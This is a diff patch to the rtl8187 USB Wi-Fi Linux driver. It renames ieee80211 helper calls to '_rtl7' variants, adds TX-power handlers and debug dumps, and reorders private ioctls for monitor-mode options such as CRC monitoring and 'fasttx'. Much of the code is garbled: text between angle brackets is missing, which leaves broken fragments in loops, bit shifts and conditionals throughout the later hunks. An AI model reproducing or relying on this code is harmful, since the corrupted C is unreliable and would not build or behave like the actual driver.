TODO: Not used in 802.11b? // range->max_nwid; /* Maximal NWID we are able to set */ - + /* Old Frequency (backward compat - moved lower ) */ -// range->old_num_channels; +// range->old_num_channels; // range->old_num_frequency; // range->old_freq[6]; /* Filler to keep "version" at the same offset */ if(priv->rf_set_sens != NULL) range->sensitivity = priv->max_sens; /* signal level threshold range */ - + range->max_qual.qual = 100; /* TODO: Find real max RSSI and stick here */ range->max_qual.level = 0; @@ -219,14 +298,14 @@ range->avg_qual.updated = 7; /* Updated all three */ range->num_bitrates = RATE_COUNT; - + for (i = 0; i < RATE_COUNT && i < IW_MAX_BITRATES; i++) { range->bitrate[i] = rtl8180_rates[i]; } - + range->min_frag = MIN_FRAG_THRESHOLD; range->max_frag = MAX_FRAG_THRESHOLD; - + range->pm_capa = 0; range->we_version_compiled = WIRELESS_EXT; @@ -243,18 +322,18 @@ range->num_channels = 14; for (i = 0, val = 0; i < 14; i++) { - + // Include only legal frequencies for some countries if ((priv->challow)[i+1]) { range->freq[val].i = i + 1; - range->freq[val].m = ieee80211_wlan_frequencies[i] * 100000; + range->freq[val].m = ieee80211_wlan_frequencies_rtl7[i] * 100000; range->freq[val].e = 1; val++; } else { // FIXME: do we need to set anything for channels // we don't use ? } - + if (val == IW_MAX_FREQUENCIES) break; } @@ -267,15 +346,15 @@ static int r8180_wx_set_scan(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + if(!priv->up) return -1; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_scan(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_scan_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); return ret; } @@ -286,50 +365,50 @@ { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(!priv->up) return -1; - + down(&priv->wx_sem); - ret = ieee80211_wx_get_scan(priv->ieee80211,a,wrqu,b); - + ret = ieee80211_wx_get_scan_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); - + return ret; } -static int r8180_wx_set_essid(struct net_device *dev, +static int r8180_wx_set_essid(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int ret; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_essid(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_essid_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); return ret; } -static int r8180_wx_get_essid(struct net_device *dev, +static int r8180_wx_get_essid(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_get_essid(priv->ieee80211, a, wrqu, b); + + ret = ieee80211_wx_get_essid_rtl7(priv->ieee80211, a, wrqu, b); up(&priv->wx_sem); - + return ret; } @@ -338,30 +417,30 @@ union iwreq_data *wrqu, char *b) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_set_freq(priv->ieee80211, a, wrqu, b); - + + ret = ieee80211_wx_set_freq_rtl7(priv->ieee80211, a, wrqu, b); + up(&priv->wx_sem); return ret; } -static int r8180_wx_get_name(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_name(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - return ieee80211_wx_get_name(priv->ieee80211, info, wrqu, extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return ieee80211_wx_get_name_rtl7(priv->ieee80211, info, wrqu, extra); } -static int r8180_wx_set_frag(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_frag(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (wrqu->frag.disabled) priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; @@ -369,7 +448,7 @@ if (wrqu->frag.value < MIN_FRAG_THRESHOLD || wrqu->frag.value > MAX_FRAG_THRESHOLD) return -EINVAL; - + priv->ieee80211->fts = wrqu->frag.value & ~0x1; } @@ -377,11 +456,11 @@ } -static int r8180_wx_get_frag(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_frag(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); wrqu->frag.value = priv->ieee80211->fts; wrqu->frag.fixed = 0; /* no auto select */ @@ -397,49 +476,49 @@ char *extra) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_set_wap(priv->ieee80211,info,awrq,extra); - + + ret = ieee80211_wx_set_wap_rtl7(priv->ieee80211,info,awrq,extra); + up(&priv->wx_sem); return ret; - + } - -static int r8180_wx_get_wap(struct net_device *dev, - struct iw_request_info *info, + +static int r8180_wx_get_wap(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_wap(priv->ieee80211,info,wrqu,extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_wap_rtl7(priv->ieee80211,info,wrqu,extra); } -static int r8180_wx_get_enc(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_enc(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *key) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_encode(priv->ieee80211, info, wrqu, key); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_encode_rtl7(priv->ieee80211, info, wrqu, key); } -static int r8180_wx_set_enc(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_enc(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *key) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - + DMESG("Setting SW wep key"); - ret = ieee80211_wx_set_encode(priv->ieee80211,info,wrqu,key); - + ret = ieee80211_wx_set_encode_rtl7(priv->ieee80211,info,wrqu,key); + up(&priv->wx_sem); return ret; } @@ -447,28 +526,28 @@ static int r8180_wx_set_scan_type(struct net_device *dev, struct iw_request_info *aa, union iwreq_data *wrqu, char *p){ - - struct r8180_priv *priv = ieee80211_priv(dev); + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int *parms=(int*)p; int mode=parms[0]; - + priv->ieee80211->active_scan = mode; - + return 1; } -static int r8180_wx_set_retry(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_retry(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int err = 0; - + down(&priv->wx_sem); - - if (wrqu->retry.flags & IW_RETRY_LIFETIME || + + if (wrqu->retry.flags & IW_RETRY_LIFETIME || wrqu->retry.disabled){ err = -EINVAL; goto exit; @@ -485,13 +564,13 @@ if (wrqu->retry.flags & IW_RETRY_MAX) { priv->retry_rts = wrqu->retry.value; DMESG("Setting retry for RTS/CTS data to %d", wrqu->retry.value); - + }else { priv->retry_data = wrqu->retry.value; DMESG("Setting retry for non RTS/CTS data to %d", wrqu->retry.value); } - - /* FIXME ! + + /* FIXME ! * We might try to write directly the TX config register * or to restart just the (R)TX process. * I'm unsure if whole reset is really needed @@ -503,28 +582,28 @@ rtl8180_rtx_disable(dev); rtl8180_rx_enable(dev); rtl8180_tx_enable(dev); - + } */ exit: up(&priv->wx_sem); - + return err; } -static int r8180_wx_get_retry(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_retry(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + wrqu->retry.disabled = 0; /* can't be disabled */ - if ((wrqu->retry.flags & IW_RETRY_TYPE) == - IW_RETRY_LIFETIME) + if ((wrqu->retry.flags & IW_RETRY_TYPE) == + IW_RETRY_LIFETIME) return -EINVAL; - + if (wrqu->retry.flags & IW_RETRY_MAX) { wrqu->retry.flags = IW_RETRY_LIMIT & IW_RETRY_MAX; wrqu->retry.value = priv->retry_rts; @@ -533,30 +612,30 @@ wrqu->retry.value = priv->retry_data; } //DMESG("returning %d",wrqu->retry.value); - + return 0; } -static int r8180_wx_get_sens(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_sens(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - if(priv->rf_set_sens == NULL) + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(priv->rf_set_sens == NULL) return -1; /* we have not this support for this radio */ wrqu->sens.value = priv->sens; return 0; } -static int r8180_wx_set_sens(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_sens(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - - struct r8180_priv *priv = ieee80211_priv(dev); - + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + short err = 0; down(&priv->wx_sem); //DMESG("attempt to set sensivity to %ddb",wrqu->sens.value); @@ -571,7 +650,7 @@ exit: up(&priv->wx_sem); - + return err; } @@ -623,50 +702,49 @@ dummy, /* SIOCGIWRTS */ r8180_wx_set_frag, /* SIOCSIWFRAG */ r8180_wx_get_frag, /* SIOCGIWFRAG */ - dummy, /* SIOCSIWTXPOW */ - dummy, /* SIOCGIWTXPOW */ + r8180_wx_set_txpow, /* SIOCSIWTXPOW */ + r8180_wx_get_txpow, /* SIOCGIWTXPOW */ r8180_wx_set_retry, /* SIOCSIWRETRY */ r8180_wx_get_retry, /* SIOCGIWRETRY */ r8180_wx_set_enc, /* SIOCSIWENCODE */ r8180_wx_get_enc, /* SIOCGIWENCODE */ dummy, /* SIOCSIWPOWER */ dummy, /* SIOCGIWPOWER */ -}; +}; -static const struct iw_priv_args r8180_private_args[] = { - +static const struct iw_priv_args r8180_private_args[] = { { - SIOCIWFIRSTPRIV + 0x0, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "badcrc" - }, - + SIOCIWFIRSTPRIV + 0x0, + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "fasttx" + }, + { SIOCIWFIRSTPRIV + 0x1, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "activescan" - + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "badcrc" }, + { - SIOCIWFIRSTPRIV + 0x2, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "rawtx" + SIOCIWFIRSTPRIV + 0x2, + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "activescan" + } }; static iw_handler r8180_private_handler[] = { -// r8180_wx_set_monitor, /* SIOCIWFIRSTPRIV */ + r8180_wx_set_fasttx, /* SIOCIWFIRSTPRIV */ r8180_wx_set_crcmon, /*SIOCIWSECONDPRIV*/ // r8180_wx_set_forceassociate, // r8180_wx_set_beaconinterval, // r8180_wx_set_monitor_type, r8180_wx_set_scan_type, - r8180_wx_set_rawtx, }; -#if WIRELESS_EXT >= 17 +#if WIRELESS_EXT >= 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->wstats; } @@ -679,8 +757,8 @@ .private = r8180_private_handler, .num_private = sizeof(r8180_private_handler) / sizeof(iw_handler), .num_private_args = sizeof(r8180_private_args) / sizeof(struct iw_priv_args), -#if WIRELESS_EXT >= 17 +#if WIRELESS_EXT >= 17 .get_wireless_stats = r8180_get_wireless_stats, #endif - .private_args = (struct iw_priv_args *)r8180_private_args, + .private_args = (struct iw_priv_args *)r8180_private_args, }; diff -Naur rtl8187_orig/beta-8187/r8187_core.c rtl8187_rawtx/beta-8187/r8187_core.c --- rtl8187_orig/beta-8187/r8187_core.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8187_core.c 2007-07-13 01:46:24.000000000 +0200 @@ -1,27 +1,27 @@ /* This is part of rtl8187 OpenSource driver - v 0.1 - Copyright (C) Andrea Merello 2005 + Copyright (C) Andrea Merello 2005 Released under the terms of GPL (General Public License) - - - Parts of this driver are based on the rtl8180 driver skeleton + + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon. Parts of this driver are based on the Intel Pro Wireless 2*00 GPL drivers. - + some ideas might be derived from David Young rtl8180 netbsd driver. - + Parts of the usb code are from the r8150.c driver in linux kernel - + Some ideas borrowed from the 8139too.c driver included in linux kernel. - - We (I?) want to thanks the Authors of those projecs and also the + + We (I?) want to thanks the Authors of those projecs and also the Ndiswrapper's project Authors. - - A special big thanks goes also to Realtek corp. for their help in my - attempt to add RTL8187 and RTL8225 support, and to David Young also. - - Please note that this file is a modified version from rtl8180-sa2400 + A special big thanks goes also to Realtek corp. for their help in my + attempt to add RTL8187 and RTL8225 support, and to David Young also. + + - Please note that this file is a modified version from rtl8180-sa2400 drv. So some other people have contributed to this project, and they are thanked in the rtl8180-sa2400 CHANGELOG. */ @@ -57,6 +57,7 @@ #undef DEBUG_IRQ_TASKLET #undef DEBUG_TX_ALLOC #undef DEBUG_TX_DESC +#undef DEBUG_TX_POWER //#define CONFIG_RTL8180_IO_MAP @@ -66,6 +67,9 @@ #include "r8180_93cx6.h" /* Card EEPROM */ #include "r8180_wx.h" +#if !(defined(CONFIG_USB_EHCI_HCD) || defined (CONFIG_USB_EHCI_HCD_MODULE)) + #error Build your kernel with ehci_hcd support! +#endif // FIXME: check if 2.6.7 is ok #if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,7)) @@ -98,6 +102,10 @@ #endif static int channels = 0x3fff; +// #define DEBUG_EPROM +// #define DEBUG_REGISTERS +// #define DEBUG_TX_POWER + MODULE_LICENSE("GPL"); MODULE_VERSION("V 1.1"); MODULE_DEVICE_TABLE(usb, rtl8187_usb_id_tbl); @@ -137,7 +145,7 @@ static int __devinit rtl8187_usb_probe(struct usb_interface *intf, const struct usb_device_id *id); - + static void __devexit rtl8187_usb_disconnect(struct usb_interface *intf); static struct usb_driver rtl8187_usb_driver = { @@ -158,13 +166,12 @@ #endif }; - void write_nic_byte_E(struct net_device *dev, int indx, u8 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xfe00, 0, &data, 1, HZ / 2); @@ -173,10 +180,10 @@ void write_nic_byte(struct net_device *dev, int indx, u8 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 1, HZ / 2); @@ -185,10 +192,10 @@ void write_nic_word(struct net_device *dev, int indx, u16 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 2, HZ / 2); @@ -197,23 +204,23 @@ void write_nic_dword(struct net_device *dev, int indx, u32 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 4, HZ / 2); } - - - + + + u8 read_nic_byte(struct net_device *dev, int indx) { u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 1, HZ / 2); @@ -223,22 +230,22 @@ u8 read_nic_byte_E(struct net_device *dev, int indx) { u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xfe00, 0, &data, 1, HZ / 2); return data; } - + u16 read_nic_word(struct net_device *dev, int indx) { u16 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 2, HZ / 2); @@ -249,16 +256,16 @@ u32 read_nic_dword(struct net_device *dev, int indx) { u32 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 4, HZ / 2); return data; } -/* this might still called in what was the PHY rtl8185/rtl8187 common code +/* this might still called in what was the PHY rtl8185/rtl8187 common code * plans are to possibilty turn it again in one common code... */ inline void force_pci_posting(struct net_device *dev) @@ -271,7 +278,12 @@ //void set_nic_txring(struct net_device *dev); static struct net_device_stats *rtl8180_stats(struct net_device *dev); void rtl8180_commit(struct net_device *dev); + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work); +#else void rtl8180_restart(struct net_device *dev); +#endif /**************************************************************************** -----------------------------PROCFS STUFF------------------------- @@ -284,13 +296,13 @@ int *eof, void *data) { struct net_device *dev = data; -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - +// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; int i,n; - + int max=0xff; - + /* This dump the current register page */ for(n=0;n<=max;) { @@ -307,7 +319,7 @@ len += snprintf(page + len, count - len,"\n"); - + *eof = 1; return len; @@ -319,16 +331,16 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "NIC int: %lu\n" "Total int: %lu\n", priv->stats.ints, priv->stats.shints); - + *eof = 1; return len; } @@ -339,10 +351,10 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "TX normal priority ok int: %lu\n" "TX normal priority error int: %lu\n" @@ -359,7 +371,7 @@ "TX HW queue: %d\n" "TX lp dropped: %lu\n" "TX np dropped: %lu\n" - "TX total data packets %lu\n", + "TX total data packets %lu\n", // "TX beacon aborted: %lu\n", priv->stats.txnpokint, priv->stats.txnperr, @@ -379,10 +391,10 @@ priv->stats.txdatapkt // priv->stats.txbeaconerr ); - + *eof = 1; return len; -} +} @@ -391,10 +403,10 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "RX packets: %lu\n" "RX urb status error: %lu\n" @@ -402,21 +414,22 @@ priv->stats.rxok, priv->stats.rxstaterr, priv->stats.rxurberr); - + *eof = 1; return len; -} - +} +#if WIRELESS_EXT < 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->wstats; } +#endif void rtl8180_proc_module_init(void) -{ +{ DMESG("Initializing proc filesystem"); rtl8180_proc=create_proc_entry(RTL8187_MODULE_NAME, S_IFDIR, proc_net); } @@ -430,7 +443,7 @@ void rtl8180_proc_remove_one(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); if (priv->dir_dev) { // remove_proc_entry("stats-hw", priv->dir_dev); remove_proc_entry("stats-tx", priv->dir_dev); @@ -447,9 +460,9 @@ void rtl8180_proc_init_one(struct net_device *dev) { struct proc_dir_entry *e; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - priv->dir_dev = create_proc_entry(dev->name, - S_IFDIR | S_IRUGO | S_IXUGO, + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + priv->dir_dev = create_proc_entry(dev->name, + S_IFDIR | S_IRUGO | S_IXUGO, rtl8180_proc); if (!priv->dir_dev) { DMESGE("Unable to initialize /proc/net/rtl8187/%s\n", @@ -459,7 +472,7 @@ #if 0 e = create_proc_read_entry("stats-hw", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_hw, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-hw\n", @@ -468,17 +481,17 @@ #endif e = create_proc_read_entry("stats-rx", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_rx, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-rx\n", dev->name); } - - + + e = create_proc_read_entry("stats-tx", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_tx, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-tx\n", @@ -487,27 +500,27 @@ #if 0 e = create_proc_read_entry("stats-ieee", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_ieee, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-ieee\n", dev->name); } - - + + e = create_proc_read_entry("stats-ap", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_ap, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-ap\n", dev->name); } #endif - + e = create_proc_read_entry("registers", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_registers, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/registers\n", @@ -523,14 +536,14 @@ { int i; u8 *buf =(u8*)buffer; - + printk("ASCII BUFFER DUMP (len: %x):\n",len); - + for(i=0;itx_np_pending : &priv->tx_lp_pending); - + return (used < MAX_TX_URB); } void tx_timeout(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //rtl8180_commit(dev); schedule_work(&priv->reset_wq); //DMESG("TXTIMEOUT"); @@ -561,7 +574,20 @@ { int i; for(i=0; i<63; i++) - DMESG("EEPROM addr %x : %x", i, eprom_read(dev,i)); + DMESG("EEPROM addr %02X : %04X", i, eprom_read(dev,i)); +} + +/* this is only for debug */ +void dump_tx_power(struct net_device *dev) +{ + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int i; + DMESG("CCK TX-Power (b-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr[i]); + DMESG("OFDM TX-Power (g-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr_ofdm[i]); } /* this is only for debug */ @@ -570,14 +596,14 @@ int i; int n; int max=0xff; - - DMESG("Dumping NIC register map"); - + + DMESG("Dumping NIC register map"); + for(n=0;n<=max;) { - printk( "\nD: %2x> ", n); + printk( "\nD: %02X> ", n); for(i=0;i<16 && n<=max;i++,n++) - printk("%2x ",read_nic_byte(dev,n)); + printk("%02X ",read_nic_byte(dev,n)); } printk("\n"); } @@ -589,11 +615,11 @@ void rtl8180_irq_enable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); //priv->irq_enabled = 1; /* - write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ - INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ + write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ + INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ INTA_NORMPRIORITYDESCERR | INTA_NORMPRIORITYDESCOK |\ INTA_LOWPRIORITYDESCERR | INTA_LOWPRIORITYDESCOK | INTA_TIMEOUT); */ @@ -603,7 +629,7 @@ void rtl8180_irq_disable(struct net_device *dev) { -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); +// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); write_nic_word(dev,INTA_MASK,0); force_pci_posting(dev); @@ -625,115 +651,119 @@ void rtl8180_update_msr(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u8 msr; - + msr = read_nic_byte(dev, MSR); msr &= ~ MSR_LINK_MASK; - + /* do not change in link_state != WLAN_LINK_ASSOCIATED. - * msr must be updated if the state is ASSOCIATING. + * msr must be updated if the state is ASSOCIATING. * this is intentional and make sense for ad-hoc and * master (see the create BSS/IBSS func) */ - if (priv->ieee80211->state == IEEE80211_LINKED){ - + if (priv->ieee80211->state == IEEE80211_LINKED){ + if (priv->ieee80211->iw_mode == IW_MODE_INFRA) msr |= (MSR_LINK_MANAGED<ieee80211->iw_mode == IW_MODE_ADHOC) msr |= (MSR_LINK_ADHOC<ieee80211->iw_mode == IW_MODE_MASTER) msr |= (MSR_LINK_MASTER<chan=ch; #if 0 - if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || + if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || priv->ieee80211->iw_mode == IW_MODE_MASTER){ - - priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; + + priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; priv->ieee80211->master_chan = ch; - rtl8180_update_beacon_ch(dev); + rtl8180_update_beacon_ch(dev); } #endif - + /* this hack should avoid frame TX during channel setting*/ tx = read_nic_dword(dev,TX_CONF); tx &= ~TX_LOOPBACK_MASK; -#ifndef LOOP_TEST +#ifndef LOOP_TEST write_nic_dword(dev,TX_CONF, tx |( TX_LOOPBACK_MAC<rf_set_chan(dev,priv->chan); mdelay(10); - write_nic_dword(dev,TX_CONF,tx | (TX_LOOPBACK_NONE<udev, usb_rcvbulkpipe(priv->udev,0x81), rx_urb->transfer_buffer, RX_URB_SIZE,rtl8187_rx_isr,dev); - err = usb_submit_urb(rx_urb, GFP_ATOMIC); + err = usb_submit_urb(rx_urb, GFP_ATOMIC); if(err && err != -EPERM){ DMESGE("cannot submit RX command. URB_STATUS %x",rx_urb->status); - + } - + } void rtl8187_rx_initiate(struct net_device *dev) { int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + if(!priv->rx_urb) DMESGE("Cannot intiate RX urb mechanism"); - for(i=0;irx_urb[i]); - + } void rtl8187_set_rxconf(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u32 rxconf; - + rxconf=read_nic_dword(dev,RX_CONF); rxconf = rxconf &~ MAC_FILTER_MASK; rxconf = rxconf | (1<flags & IFF_PROMISC) DMESG ("NIC in promisc mode"); - + if(priv->ieee80211->iw_mode == IW_MODE_MONITOR || \ dev->flags & IFF_PROMISC){ rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MASTER){ rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MONITOR){ rxconf = rxconf | (1<crcmon == 1 && priv->ieee80211->iw_mode == IW_MODE_MONITOR) rxconf = rxconf | (1<card_8185){ - + 